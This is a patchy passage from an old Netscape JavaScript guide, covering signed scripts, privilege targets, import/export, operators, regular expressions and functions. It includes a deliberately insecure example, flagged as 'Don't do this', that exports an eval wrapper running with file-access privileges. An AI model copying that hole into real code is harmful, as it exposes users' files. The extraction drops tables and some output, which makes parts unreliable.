rejected because the layer has insufficient principals. See “Isolating an Unsigned
Layer within a Signed Container” on page 123 for more information on this
case.
• To sign an event handler, you add an ID attribute for the event handler to
the tag containing the event handler. In addition, the HTML page must also
contain a signed inline script preceding the event handler. That SCRIPT tag
must supply the ARCHIVE attribute.
• To sign an entire JavaScript file, you don’t add anything special to the file.
Instead, the SCRIPT tag for the script that uses that file must contain the
ARCHIVE attribute.
Once you’ve written the HTML file, see “Signing Scripts” on page 129 for
information on how to sign it.
ARCHIVE attribute
All signed scripts (inline script, event handler, JavaScript file, or JavaScript
entity) require a SCRIPT tag’s ARCHIVE attribute whose value is the name of the
JAR file containing the digital signature. For example, to sign a JavaScript file,
you could use this tag:
<SCRIPT ARCHIVE="myArchive.jar" SRC="myJavaScript.js"> </SCRIPT>
Event handler scripts do not directly specify the ARCHIVE. Instead, the handler
must be preceded by a script containing ARCHIVE. For example:
<SCRIPT ARCHIVE="myArchive.jar" ID="a">
...
</SCRIPT>
<FORM>
<INPUT TYPE="button" VALUE="OK"
onClick="alert('A signed script')" ID="b">
</FORM>
Unless you use more than one JAR file, you need only specify the file once.
Include the ARCHIVE tag in the first script on the HTML page and the remaining
scripts on the page use the same file. For example:
<SCRIPT ARCHIVE="myArchive.jar" ID="a">
document.write("This script is signed.");
</SCRIPT>
<SCRIPT ID="b">
document.write("This script is signed too.");
</SCRIPT>
ID Attribute
Signed inline and event handler scripts require the ID attribute. The value of
this attribute is a string that relates the script to its signature in the JAR file. The
ID must be unique within a JAR file.
When a tag contains more than one event handler script, you only need one
ID. The entire tag is signed as one piece.
In the following example, the first three scripts use the same JAR file. The third
script accesses a JavaScript file so it doesn’t use the ID tag. The fourth script
uses a different JAR file, and its ID of "a" is unique to that file.
<HTML>
<BODY
onLoad="alert('A signed script using firstArchive.jar')"
onLoad="alert('One ID needed for these event handler scripts')"
ID="b">
<SCRIPT SRC="myJavaScript.js">
</SCRIPT>
<LAYER>
<SCRIPT ARCHIVE="secondArchive.jar" ID="a">
document.write("This script uses the secondArchive.jar file.");
</SCRIPT>
</LAYER>
</BODY>
</HTML>
In the simplest case, you add one line of code asking permission to access a
particular target representing the resource you want to access. (See “Targets” on
page 119 for more information.) For example:
netscape.security.PrivilegeManager.enablePrivilege("UniversalSendMail")
When the script calls this function, the signature is verified, and if the signature
is valid, expanded privileges can be granted. If necessary, a dialog displays
information about the application’s author, and gives the user the option to
grant or deny expanded privileges.
Privileges are granted only in the scope of the requesting function and only
after the request has been granted in that function. This scope includes any
functions called by the requesting function. When the script leaves the
requesting function, privileges no longer apply.
function printEnabled(i) {
if (history[0] == "") {
document.write(i + ": disabled<BR>");
} else {
document.write(i + ": enabled<BR>");
}
}
function f() {
printEnabled(1);
}
function g() {
printEnabled(2);
netscape.security.PrivilegeManager.enablePrivilege(
"UniversalBrowserRead");
printEnabled(3);
f();
printEnabled(4);
}
function h() {
printEnabled(5);
g();
printEnabled(6);
}
printEnabled(7);
h();
printEnabled(8);
</SCRIPT>
Targets
The types of information you can access are called targets. These are listed
below.
Target Description
UniversalBrowserRead Allows reading of privileged data from the
browser. This allows the script to pass the same
origin check for any document.
UniversalBrowserWrite Allows modification of privileged data in a
browser. This allows the script to pass the same
origin check for any document.
UniversalBrowserAccess Allows both reading and modification of privileged
data from the browser. This allows the script to
pass the same origin check for any document.
UniversalFileRead Allows a script to read any files stored on hard
disks or other storage media connected to your
computer.
Target Description
UniversalPreferencesRead Allows the script to read preferences using the
navigator.preference method.
UniversalPreferencesWrite Allows the script to set preferences using the
navigator.preference method.
UniversalSendMail Allows the program to send mail in the user’s
name.
• navigator object:
1. http://developer.netscape.com/library/documentation/signedobj/targets/index.htm
— Adding or removing the directory bar, location bar, menu bar, personal
bar, scroll bar, status bar, or toolbar.
enableExternalCapture To capture events in pages loaded from different servers. Follow this method
with captureEvents.
close To unconditionally close a browser window.
moveBy To move a window off the screen.
moveTo To move a window off the screen.
open • To create a window smaller than 100 x 100 pixels or larger than the
screen can accommodate by using innerWidth, innerHeight,
outerWidth, and outerHeight.
• To place a window off screen by using screenX and screenY.
• To create a window without a titlebar by using titlebar.
• To use alwaysRaised, alwaysLowered, or z-lock for any setting.
resizeTo To resize a window smaller than 100 x 100 pixels or larger than the screen
can accommodate.
resizeBy To resize a window smaller than 100 x 100 pixels or larger than the screen
can accommodate.
Example
The following script includes a button, that, when clicked, displays an alert
dialog containing part of the URL history of the browser. To work properly, the
script must be signed.
<SCRIPT ARCHIVE="myArchive.jar" ID="a">
function getHistory(i) {
//Attempt to access privileged information
return history[i];
}
function getImmediateHistory() {
//Request privilege
netscape.security.PrivilegeManager.enablePrivilege(
"UniversalBrowserRead");
return getHistory(1);
}
</SCRIPT>
...
<INPUT TYPE="button" onClick="alert(getImmediateHistory());" ID="b">
1. http://developer.netscape.com/news/viewsource/index.html
2. http://developer.netscape.com/news/viewsource/goodman_sscripts.html
captureEvents(Event.CLICK);
...
}
...
</SCRIPT>
• You must set the __parent__ property of the layer object to null so that
variable lookups performed by the script in the unsigned layer do not
follow the parent chain up to the window object and attempt to access the
window object’s properties, which are protected by the container check.
• Because the standard objects (String, Array, Date, and so on) are defined
in the window object and not normally in the layer, you must call the
initStandardObjects method of the layer object. This creates copies of
the standard objects in the layer’s scope.
• Separate signed and unsigned scripts into different layers, and use the
international characters in the unsigned scripts.
You can only import and export functions, either top-level functions
(associated with a window object) or methods of some other object. You cannot
import or export entire objects or properties that aren’t functions.
Importing a function into your scope creates a new function of the same name
as the imported function. Calling that function calls the corresponding function
from the secure container.
To use import and export, you must explicitly set the LANGUAGE attribute of
the SCRIPT tag to "JavaScript1.2".
In the signed script that defines a function you want to let other scripts access,
use the export statement. The syntax of this statement is:
exportStmt ::= export exprList
exprList ::= expr | expr, exprList
where each expr must resolve to the name of a function. The export statement
marks each function as importable.
In the script in which you want to import that function, use the import
statement. The syntax of this statement is:
importStmt ::= import importList
importList ::= importElem | importElem, importList
importElem ::= expr.funName | expr.*
Executing import expr.funName evaluates expr and then imports the funName
function of that object into the current scope. It is an error if expr does not
evaluate to an object, if there is no function named funName, or if the function
exists but has not been marked as importable. Executing import expr.*
imports all importable functions of expr.
Example
The following example has three pages in a frameset. The file
containerAccess.html defines the frameset and calls a user function when
the frameset is loaded. One page, secureContainer.html, has signed scripts
and exports a function. The other page, access.html, imports the exported
function and calls it.
While this example exports a function that does not enable or require
expanded privileges, you can export functions that do enable privileges. If you
do so, you should be very careful to not inadvertently allow access to an
attacker. For more information, see “Be Careful What You Export” on page 126.
function privateFunction() {
return 7;
}
function publicFunction() {
return 34;
}
export publicFunction;
netscape.security.PrivilegeManager.enablePrivilege(
"UniversalBrowserRead");
document.write("This page is at " + history[0]);
<SCRIPT LANGUAGE="JavaScript1.2">
function myOnLoad() {
var ctnr = top.frames.secureContainer;
import ctnr.publicFunction;
alert("value is " + publicFunction());
}
</SCRIPT>
</HTML>
If you wish to prevent this, you can force your scripts to work only from your
site.
<SCRIPT ARCHIVE="siteSpecific.jar" ID="a" LANGUAGE="JavaScript1.2">
if (document.URL.match(/^https:\/\/summer-heart-0930.chufeiyun1688.workers.dev:443\/http\/www.company.com\//)) {
netscape.security.PrivilegeManager.enablePrivilege(...);
// Do your stuff
}
</SCRIPT>
Then if the JAR file and script are copied to another site, they no longer work.
If the person who copies the script alters it to bypass the check on the source
of the script, the signature is invalidated.
exporting interfaces that can be used in ways you do not want. For example,
the following program exports a call to eval that can operate under expanded
privileges.
<SCRIPT ARCHIVE="duh.jar" ID="a">
function myEval(s) {
netscape.security.PrivilegeManager.enablePrivilege(
"UniversalFileAccess");
return eval(s);
}
export myEval; // Don’t do this!!!!
</SCRIPT>
Now any other script can import myEval and read and write any file on the
user’s hard disk using trust the user has granted to you.
For example, the following code, if executed in a signed script with the user’s
approval, opens a new window containing the history of the browser:
<SCRIPT ARCHIVE="historyWin.jar" ID="a">
netscape.security.PrivilegeManager.enablePrivilege(
"UniversalBrowserAccess");
var win = window.open();
for (var i=0; i < history.length; i++) {
win.document.writeln(history[i] + "<BR>");
}
win.close();
</SCRIPT>
The TCB in this instance is the entire script because privileges are acquired at
the beginning and never reverted. You could reduce the TCB by rewriting the
program as follows:
<SCRIPT ARCHIVE="historyWin.jar" ID="a">
var win = window.open();
netscape.security.PrivilegeManager.enablePrivilege(
"UniversalBrowserAccess");
for (var i=0; i < history.length; i++) {
win.document.writeln(history[i] + "<BR>");
}
netscape.security.PrivilegeManager.revertPrivilege(
"UniversalBrowserAccess");
win.close();
</SCRIPT>
With this change, the TCB becomes only the loop containing the accesses to
the history property. You could avoid the extra call into Java to revert the
privilege by introducing a function:
<SCRIPT ARCHIVE="historyWin.jar" ID="a">
function writeArray() {
netscape.security.PrivilegeManager.enablePrivilege(
"UniversalBrowserAccess");
for (var i=0; i < history.length; i++) {
win.document.writeln(history[i] + "<BR>");
}
}
var win = window.open();
writeArray();
win.close();
</SCRIPT>
Signing Scripts
During development of a script you’ll eventually sign, you can use codebase
principals for testing, as described in “Codebase Principals” on page 111. Once
you’ve finished modifying the script, you need to sign it.
For any script to be granted expanded privileges, all scripts on the same HTML
page or layer must be signed. If you use layers, you can have both signed and
unsigned scripts as long as you keep them in separate layers. For more
information, see “Using Signed Scripts in Navigator 4.0” on page 109.
You can sign JavaScript files (accessed with the SRC attribute of the SCRIPT
tag), inline scripts, event handler scripts, and JavaScript entities. You cannot
sign javascript: URLs. Before you sign the script, be sure you’ve properly
identified it, as described in “Identifying Signed Scripts” on page 116.
The signPages script extracts scripts from HTML files, signs them, and places
their digital signatures in the archive specified by the ARCHIVE attribute in the
SCRIPT tag from the HTML files. It also takes care of copying external
JavaScript files loaded by the SRC attribute of the SCRIPT tag. The SCRIPT tags
in the HTML pages can specify more than one JAR file; if so, signPages creates
as many JAR files as it needs.
For more information on using these tools, see Zigbert User’s Guide1.
After Signing
Once you’ve signed a script, any time you change it you must resign it. For
JavaScript files, this means you cannot change anything in the file. For inline
scripts, you cannot change anything between the initial <SCRIPT ...> and the
closing </SCRIPT>. For event handlers and JavaScript entities, you cannot
change anything at all in the tag that includes the handler or entity.
1. http://developer.netscape.com/library/documentation/signedobj/zigbert/index.htm
Changes to a signed script’s byte stream invalidate the script’s signature. This
includes moving the HTML page between platforms that have different
representations of text. For example, moving an HTML page from a Windows
server to a UNIX server changes the byte stream and invalidates the signature.
(This doesn’t affect viewing pages from multiple platforms.) To avoid this, you
can move the page in binary mode. Note that doing so changes the appearance
of the page in your text editor but not in the browser.
Although you cannot make changes to the script, you can make changes to the
surrounding information in the HTML file. You can even copy a signed script
from one file to another, as long as you make sure you change nothing within
the script.
The path value printed for signed JavaScript is either the value of the ID
attribute or the SRC attribute of the tag that supplied the script.
One good way to debug this sort of problem is to use the -s option to
signPages, which will save the inline scripts in the JAR file. You can then
unpack the jar file when you get the hash errors and compare it to the HTML
file to track down the source of the problems. For information on signPages,
see Zigbert User’s Guide1.
If you have not enabled codebase principals and a script attempts to enable
privileges for an unsigned script, it gets an exception from Java that the “user
did not grant privilege”. If you did enable codebase principals, you will see a
Java security dialog that asking for permissions for the unsigned code.
1. http://developer.netscape.com/library/documentation/signedobj/zigbert/index.htm
This chapter discusses values that JavaScript recognizes and describes the
fundamental building blocks of JavaScript expressions: variables and literals.
Values
JavaScript recognizes the following types of values:
Note Because JavaScript is case sensitive, null is not the same as Null, NULL, or any
other variant.
This relatively small set of types of values, or data types, enables you to
perform useful functions with your applications. There is no explicit distinction
between integer and real-valued numbers. Nor is there an explicit date data
type in Navigator. However, you can use the Date object and its methods to
handle dates.
Objects and functions are the other fundamental elements in the language. You
can think of objects as named containers for values, and functions as
procedures that your application can perform.
And later, you could assign the same variable a string value, for example,
answer = "Thanks for all the fish..."
Because JavaScript is loosely typed, this assignment does not cause an error
message.
The first statement returns the string “The answer is 42.” The second statement
returns the string “42 is the answer.”
Variables
You use variables as symbolic names for values in your application. You give
variables names by which you refer to them and which must conform to certain
rules.
Variable Scope
You can declare a variable in two ways:
Using var to declare a global variable is optional. However, you must use var
to declare a variable inside a function.
You can access global variables declared in one window or frame from another
window or frame by specifying the window or frame name. For example, if a
variable called phoneNumber is declared in a FRAMESET document, you can
refer to this variable from a child frame as parent.phoneNumber.
For information on using variables across frames and windows, see Chapter 4,
“Using Windows and Frames.”
Literals
You use literals to represent values in JavaScript. These are fixed values, not
variables, that you literally provide in your script.
Integers
Integers can be expressed in decimal (base 10), hexadecimal (base 16), and
octal (base 8). A decimal integer literal consists of a sequence of digits without
a leading 0 (zero). A leading 0 (zero) on an integer literal indicates it is in octal;
a leading 0x (or 0X) indicates hexadecimal. Hexadecimal integers can include
digits (0-9) and the letters a-f and A-F. Octal integers can include only the digits
0-7.
Floating-Point Literals
A floating-point literal can have the following parts:
• a decimal integer
• a decimal point (“.”)
• a fraction (another decimal number)
• an exponent
• a type suffix
The exponent part is an “e” or “E” followed by an integer, which can be signed
(preceded by “+” or “-”). A floating-point literal must have at least one digit and
either a decimal point or “e” (or “E”).
Some examples of floating-point literals are 3.1415, -3.1E12, .1e12, and 2E-12
Boolean Literals
The Boolean type has two literal values: true and false.
String Literals
A string literal is zero or more characters enclosed in double (") or single (')
quotation marks. A string must be delimited by quotation marks of the same
type; that is, either both single quotation marks or both double quotation
marks. The following are examples of string literals:
• "blah"
• 'blah'
• "1234"
• "one line \n another line"
Character Meaning
\b backspace
\f form feed
\n new line
\r carriage return
\t tab
\\ backslash character
Escaping Characters
For characters not listed in Table 8.1, a preceding backslash is ignored, with the
exception of a quotation mark and the backslash character itself.
To include a literal backslash inside a string, you must escape the backslash
character. For example, to assign the file path c:\temp to a string, use the
following:
var home = "c:\\temp"
Expressions
An expression is any valid set of literals, variables, operators, and expressions
that evaluates to a single value; the value can be a number, a string, or a logical
value.
Conceptually, there are two types of expressions: those that assign a value to a
variable, and those that simply have a value. For example, the expression
x = 7 is an expression that assigns x the value seven. This expression itself
evaluates to seven. Such expressions use assignment operators. On the other
hand, the expression 3 + 4 simply evaluates to seven; it does not perform an
assignment. The operators used in such expressions are referred to simply as
operators.
The special keyword null denotes a null value. In contrast, variables that have
not been assigned a value are undefined and cause a runtime error if used as
numbers or as numeric variables. Array elements that have not been assigned a
value, however, evaluate to false. For example, the following code executes the
function myFunction because the array element is not defined:
myArray=new Array()
if (!myArray["notThere"])
myFunction()
Operators
JavaScript has assignment, comparison, arithmetic, bitwise, logical, string, and
special operators. This section describes the operators and contains information
about operator precedence.
JavaScript has both binary and unary operators. A binary operator requires two
operands, one before the operator and one after the operator:
operand1 operator operand2
A unary operator requires a single operand, either before or after the operator:
operator operand
or
operand operator
Assignment Operators
An assignment operator assigns a value to its left operand based on the value of
its right operand. The basic assignment operator is equal (=), which assigns the
value of its right operand to its left operand. That is, x = y assigns the value of
y to x.
x -= y x = x - y
x *= y x = x * y
x /= y x = x / y
x %= y x = x % y
x <<= y x = x << y
x >>= y x = x >> y
x >>>= y x = x >>> y
x &= y x = x & y
x ^= y x = x ^ y
x |= y x = x | y
Comparison Operators
A comparison operator compares its operands and returns a logical value based
on whether the comparison is true or not. The operands can be numerical or
string values. When used on string values, the comparisons are based on the
standard lexicographical ordering. They are described in Table 9.2.
Not equal (!=) Returns true if the operands are not equal. var1 != 4
Greater than (>) Returns true if left operand is greater than right var2 > var1
operand.
Greater than or equal (>=) Returns true if left operand is greater than or equal var2 >= var1
to right operand. var1 >= 3
Less than (<) Returns true if left operand is less than right var1 < var2
operand.
Less than or equal (<=) Returns true if left operand is less than or equal to var1 <= var2
right operand. var2 <= 5
a. In these examples, assume var1 has been assigned the value 3 and var2 had been assigned the value 4.
Arithmetic Operators
Arithmetic operators take numerical values (either literals or variables) as their
operands and return a single numerical value. The standard arithmetic
operators are addition (+), subtraction (-), multiplication (*), and division (/).
These operators work as they do in other programming languages.
Bitwise Operators
Bitwise operators treat their operands as a set of bits (zeros and ones), rather
than as decimal, hexadecimal, or octal numbers. For example, the decimal
number nine has a binary representation of 1001. Bitwise operators perform
their operations on such binary representations, but they return standard
JavaScript numerical values.
• Each bit in the first operand is paired with the corresponding bit in the
second operand: first bit to first bit, second bit to second bit, and so on.
• The operator is applied to each pair of bits, and the result is constructed
bitwise.
For example, the binary representation of nine is 1001, and the binary
representation of fifteen is 1111. So, when the bitwise operators are applied to
these values, the results are as follows:
Logical Operators
Logical operators take Boolean (logical) values as operands and return a
Boolean value. They are described in Table 9.6.
Table 9.6 Logical operators
Short-Circuit Evaluation
As logical expressions are evaluated left to right, they are tested for possible
“short-circuit” evaluation using the following rules:
The rules of logic guarantee that these evaluations are always correct. Note that
the anything part of the above expressions is not evaluated, so any side effects
of doing so do not take effect.
String Operators
In addition to the comparison operators, which can be used on string values,
the concatenation operator (+) concatenates two string values together,
returning another string that is the union of the two operand strings. For
example, "my " + "string" returns the string "my string".
Special Operators
conditional operator
The conditional operator is the only JavaScript operator that takes 3 operands.
The operator can have one of two values based on a condition. The syntax is
(condition) ? val1 : val2
If condition is true, the operator has the value of val1. Otherwise it has the
value of val2. You can use the conditional operator anywhere you would use
a standard operator.
For example,
status = (age >= 18) ? "adult" : "minor"
This statement assigns the value “adult” to the variable status if age is
eighteen or more. Otherwise, it assigns the value “minor” to status.
comma operator
The comma operator (,) simply evaluates both of its operands and returns the
value of the second operand. This operator is primarily used inside a for loop,
to allow multiple variables to be updated each time through the loop.
delete
The delete operator deletes an object's property or an element at a specified
index in an array. Its syntax is:
delete objectName.property
delete objectname[index]
delete property
The third form is legal only within a with statement. If the deletion succeeds,
the delete operator sets the property or element to undefined. delete
always returns undefined.
new
You can use the new operator to create an instance of a user-defined object
type or of one of the predefined object types Array, Boolean, Date,
Function, Image, Number, Object, Option, RegExp, or String. On the
server, you can also use it with DbPool, Lock, File, or SendMail. Use new as
follows:
objectName = new objectType ( param1 [,param2] ...[,paramN] )
typeof
The typeof operator is used in either of the following ways:
1. typeof operand
2. typeof (operand)
The typeof operator returns a string indicating the type of the unevaluated
operand. operand is the string, variable, keyword, or object for which the type
is to be returned. The parentheses are optional.
The typeof operator returns the following results for these variables:
typeof myFun is object
typeof shape is string
typeof size is number
typeof today is object
typeof dontExist is undefined
For the keywords true and null, the typeof operator returns the following
results:
typeof true is boolean
typeof null is object
For a number or string, the typeof operator returns the following results:
typeof 62 is number
typeof 'Hello world' is string
For property values, the typeof operator returns the type of value the property
contains:
typeof document.lastModified is string
typeof window.length is number
typeof Math.LN2 is number
For methods and functions, the typeof operator returns results as follows:
typeof blur is function
typeof eval is function
typeof parseInt is function
typeof shape.split is function
void
The void operator is used in either of the following ways:
1. javascript:void (expression)
2. javascript:void expression
You can use the void operator to specify an expression as a hypertext link.
The expression is evaluated but is not loaded in place of the current document.
The following code creates a hypertext link that does nothing when the user
clicks it. When the user clicks the link, void(0) evaluates to 0, but that has no
effect in JavaScript.
<A HREF="javascript:void(0)">Click here to do nothing</A>
The following code creates a hypertext link that submits a form when the user
clicks it.
<A HREF="javascript:void(document.form.submit())">
Click here to submit</A>
Operator Precedence
The precedence of operators determines the order they are applied when
evaluating an expression. You can override operator precedence by using
parentheses.
conditional ?:
logical-or ||
logical-and &&
bitwise-or |
bitwise-xor ^
bitwise-and &
equality == !=
addition/subtraction + -
multiply/divide * / %
call, member () [] .
Regular Expressions
JavaScript 1.2, available in Navigator 4.0, adds regular expressions to the
language. Regular expressions are patterns used to match character
combinations in strings. In JavaScript, regular expressions are also objects. For
example, to search for all occurrences of 'the' in a string, you create a pattern
consisting of 'the' and use the pattern to search for its match in a string. Regular
expression patterns can be constructed using either object initializers (for
example, /abc/) or the RegExp constructor function (for example,
re = new RegExp("abc")). Object initializers are discussed in “Using Object
Initializers” on page 172.
These patterns are used with the exec and test methods of regular
expressions, and with the match, replace, search, and split methods of
String.
Table 9.8 provides a complete list and description of the special characters that
can be used in regular expressions.
Table 9.8 Special characters in regular expressions.
Character Meaning
\ For characters that are usually treated literally, indicates that the next
character is special and not to be interpreted literally.
For example, /b/ matches the character 'b'. By placing a backslash in
front of b, that is by using /\b/, the character becomes special to
mean match a word boundary.
-or-
For characters that are usually treated specially, indicates that the next
character is not special and should be interpreted literally.
For example, * is a special character that means 0 or more occurrences
of the preceding character should be matched; for example, /a*/
means match 0 or more a's. To match * literally, precede the it with a
backslash; for example, /a\*/ matches 'a*'.
^ Matches beginning of input or line.
For example, /^A/ does not match the 'A' in "an A," but does match it
in "An A."
$ Matches end of input or line.
For example, /t$/ does not match the 't' in "eater", but does match it
in "eat"
* Matches the preceding character 0 or more times.
For example, /bo*/ matches 'boooo' in "A ghost booooed" and 'b' in
"A bird warbled", but nothing in "A goat grunted".
+ Matches the preceding character 1 or more times. Equivalent to {1,}.
For example, /a+/ matches the 'a' in "candy" and all the a's in
"caaaaaaandy."
Character Meaning
? Matches the preceding character 0 or 1 time.
For example, /e?le?/ matches the 'el' in "angel" and the 'le' in
"angle."
. (The decimal point) matches any single character except the newline
character.
For example, /.n/ matches 'an' and 'on' in "nay, an apple is on the
tree", but not 'nay'.
(x) Matches 'x' and remembers the match.
For example, /(foo)/ matches and remembers 'foo' in "foo bar." The
matched substring can be recalled from the resulting array’s elements
[1], ..., [n], or from the predefined RegExp object’s properties $1,
..., $9.
x|y Matches either 'x' or 'y'.
For example, /green|red/ matches 'green' in "green apple" and 'red'
in "red apple."
{n} Where n is a positive integer. Matches exactly n occurrences of the
preceding character.
For example, /a{2}/ doesn't match the 'a' in "candy," but it matches
all of the a's in "caandy," and the first two a's in "caaandy."
{n,} Where n is a positive integer. Matches at least n occurrences of the
preceding character.
For example, /a{2,} doesn't match the 'a' in "candy", but matches all
of the a's in "caandy" and in "caaaaaaandy."
{n,m} Where n and m are positive integers. Matches at least n and at most m
occurrences of the preceding character.
For example, /a{1,3}/ matches nothing in "cndy", the 'a' in "candy,"
the first two a's in "caandy," and the first three a's in "caaaaaaandy"
Notice that when matching "caaaaaaandy", the match is "aaa", even
though the original string had more a’s in it.
[xyz] A character set. Matches any one of the enclosed characters. You can
specify a range of characters by using a hyphen.
For example, [abcd] is the same as [a-c]. They match the 'b' in
"brisket" and the 'c' in "ache".
Character Meaning
[^xyz] A negated or complemented character set. That is, it matches anything
that is not enclosed in the brackets. You can specify a range of
characters by using a hyphen.
For example, [^abc] is the same as [^a-c]. They initially match 'r'
in "brisket" and 'h' in "chop."
[\b] Matches a backspace. (Not to be confused with \b.)
\b Matches a word boundary, such as a space. (Not to be confused with
[\b].)
For example, /\bn\w/ matches the 'no' in "noonday";/\wy\b/
matches the 'ly' in "possibly yesterday."
\B Matches a non-word boundary.
For example, /\w\Bn/ matches 'on' in "noonday", and /y\B\w/
matches 'ye' in "possibly yesterday."
\cX Where X is a control character. Matches a control character in a string.
For example, /\cM/ matches control-M in a string.
\d Matches a digit character. Equivalent to [0-9].
For example, /\d/ or /[0-9]/ matches '2' in "B2 is the suite
number."
\D Matches any non-digit character. Equivalent to [^0-9].
For example, /\D/ or /[^0-9]/ matches 'B' in "B2 is the suite
number."
\f Matches a form-feed.
\n Matches a linefeed.
\r Matches a carriage return.
\s Matches a single white space character, including space, tab, form feed,
line feed. Equivalent to [ \f\n\r\t\v].
for example, /\s\w*/ matches ' bar' in "foo bar."
\S Matches a single character other than white space. Equivalent to [^
\f\n\r\t\v].
For example, /\S/\w* matches 'foo' in "foo bar."
\t Matches a tab
\v Matches a vertical tab.
Character Meaning
\w Matches any alphanumeric character including the underscore.
Equivalent to [A-Za-z0-9_].
For example, /\w/ matches 'a' in "apple," '5' in "$5.28," and '3' in "3D."
\W Matches any non-word character. Equivalent to [^A-Za-z0-9_].
For example, /\W/ or /[^$A-Za-z0-9_]/ matches '%' in "50%."
\n Where n is a positive integer. A back reference to the last substring
matching the n parenthetical in the regular expression (counting left
parentheses).
For example, /apple(,)\sorange\1/ matches 'apple, orange', in
"apple, orange, cherry, peach." A more complete example follows this
table.
Note: If the number of left parentheses is less than the number
specified in \n, the \n is taken as an octal escape as described in the
next row.
\ooctal Where \ooctal is an octal escape value or \xhex is a hexadecimal
\xhex escape value. Allows you to embed ASCII codes into regular
expressions.
Using Parentheses
Parentheses around any part of the regular expression pattern cause that part of
the matched substring to be remembered. Once remembered, the substring can
be recalled for other use, as described in “Using Parenthesized Substring
Matches” on page 160.
This pattern is found in "Open Chapter 4.3, paragraph 6" and '4' is remembered.
The pattern is not found in "Chapters 3 and 4", because that string does not
have a period after the '3'.
When you want to know whether a pattern is found in a string, use the test or
search method; for more information (but slower execution) use the exec or
match methods. If you use exec or match and if the match succeeds, these
methods return an array and update properties of the associated regular
expression object and also of the predefined regular expression object, RegExp.
If the match fails, the exec method returns null (which converts to false).
In the following example, the script uses the exec method to find a match in a
string.
<SCRIPT LANGUAGE="JavaScript1.2">
myRe=/d(b+)d/g;
myArray = myRe.exec("cdbbdbsbz");
</SCRIPT>
With these scripts, the match succeeds and returns the array and updates the
properties shown in Table 9.9.
Table 9.9 Results of regular expression execution.
As shown in the second form of this example, you can use the a regular
expression created with an object initializer without assigning it to a variable. If
you do, however, every occurrence is a new regular expression. For this
reason, if you use this form without assigning it to a variable, you cannot
subsequently access the properties of that regular expression. For example,
assume you have this script:
<SCRIPT LANGUAGE="JavaScript1.2">
myRe=/d(b+)d/g;
myArray = myRe.exec("cdbbdbsbz");
document.writeln("The value of lastIndex is " + myRe.lastIndex);
</SCRIPT>
It displays:
Example 1. The following script uses the replace method to switch the
words in the string. For the replacement text, the script uses the values of the
$1 and $2 properties.
<SCRIPT LANGUAGE="JavaScript1.2">
re = /(\w+)\s(\w+)/;
str = "John Smith";
newstr = str.replace(re, "$2, $1");
document.write(newstr)
</SCRIPT>
<SCRIPT LANGUAGE="JavaScript1.2">
function getInfo(){
re = /(\w+)\s(\d+)/
re.exec();
window.alert(RegExp.$1 + ", your age is " + RegExp.$2);
}
</SCRIPT>
Enter your first name and your age, and then press Enter.
<FORM>
<INPUT TYPE="text" NAME="NameAge" onChange="getInfo(this);">
</FORM>
</HTML>
<SCRIPT LANGUAGE="JavaScript1.2">
function getInfo(){
a = /(\w+)\s(\d+)/();
window.alert(a[1] + ", your age is " + a[2]);
}
</SCRIPT>
Enter your first name and your age, and then press Enter.
<FORM>
<INPUT TYPE="text" NAME="NameAge" onChange="getInfo(this);">
</FORM>
</HTML>
Note that the flags, i and g, are an integral part of a regular expression. They
cannot be added or removed later.
For example, re = /\w+\s/g creates a regular expression that looks for one or
more characters followed by a space, and it looks for this combination
throughout the string.
<SCRIPT LANGUAGE="JavaScript1.2">
re = /\w+\s/g;
str = "fee fi fo fum";
myArray = str.match(re);
document.write(myArray);
</SCRIPT>
This displays ["fee ", "fi ", "fo "]. In this example, you could replace the line:
re = /\w+\s/g;
with:
re = new RegExp("\\w+\\s", "g");
Examples
Changing the Order in an Input String
The following example illustrates the formation of regular expressions and the
use of string.split() and string.replace().
Finally, it reverses the name order (last name first) and sorts the list.
<SCRIPT LANGUAGE="JavaScript1.2">
// pattern: possible white space then semicolon then possible white space
pattern = /\s*;\s*/
// Break the string into pieces separated by the pattern above and
// and store the pieces in an array called nameList
nameList = names.split (pattern)
</SCRIPT>
The regular expression looks for zero or one open parenthesis \(?, followed
by three digits \d{3}, followed by zero or one close parenthesis \)?, followed
by one dash, forward slash, or decimal point and when found, remember the
character ([-\/\.]), followed by three digits \d{3}, followed by the
remembered match of a dash, forward slash, or decimal point \1, followed by
four digits \d{4}.
The Change event activated when the user presses Enter, sets the value of
RegExp.input.
<HTML>
<SCRIPT LANGUAGE = "JavaScript1.2">
re = /\(?\d{3}\)?([-\/\.])\d{3}\1\d{4}/
function testInfo() {
OK = re.exec()
if (!OK)
window.alert (RegExp.input +
" isn't a phone number with area code!")
else
window.alert ("Thanks, your phone number is " + OK[0])
}
</SCRIPT>
Enter your phone number (with area code) and then press Enter.
<FORM>
</HTML>
Object Model
10
This chapter describes how to use objects, properties, functions, and methods,
and how to create your own objects.
Both the object name and property name are case sensitive. You define a
property by assigning it a value. For example, suppose there is an object
named myCar (for now, just assume the object already exists). You can give it
properties named make, model, and year as follows:
myCar.make = "Ford"
myCar.model = "Mustang"
myCar.year = 69;
Functions
Functions are one of the fundamental building blocks in JavaScript. A function
is a JavaScript procedure—a set of statements that performs a specific task. To
use a function, you must first define it; then your script can call it.
Defining Functions
A function definition consists of the function keyword, followed by
• The JavaScript statements that define the function, enclosed in curly braces,
{ }. The statements in a function can include calls to other functions defined
in the current application.
This function takes a string, str, as its argument, adds some HTML tags to it
using the concatenation operator (+), and then displays the result to the current
document using the write method.
Using Functions
In a Navigator application, you can use (or call) any function defined in the
current page. You can also use functions defined by other named windows or
frames; for more information, see Chapter 4, “Using Windows and Frames.” In a
server-side JavaScript application, you can use any function compiled with the
application.
Defining a function does not execute it. You have to call the function for it to
do its work. For example, if you defined the example function pretty_print
in the HEAD of the document, you could call it as follows:
<SCRIPT>
pretty_print("This is some text to display")
</SCRIPT>
The arguments of a function are not limited to strings and numbers. You can
pass whole objects to a function, too. The show_props function (defined in
“Objects and Properties” on page 167) is an example of a function that takes an
object as an argument.
A function can even be recursive, that is, it can call itself. For example, here is a
function that computes factorials:
function factorial(n) {
if ((n == 0) || (n == 1))
return 1
else {
result = (n * factorial(n-1) )
return result
}
}
You could then display the factorials of one through five as follows:
for (x = 0; x < 5; x++) {
document.write("<BR>", x, " factorial is ", factorial(x))
}
0 factorial is 1
1 factorial is 1
2 factorial is 2
3 factorial is 6
4 factorial is 24
5 factorial is 120
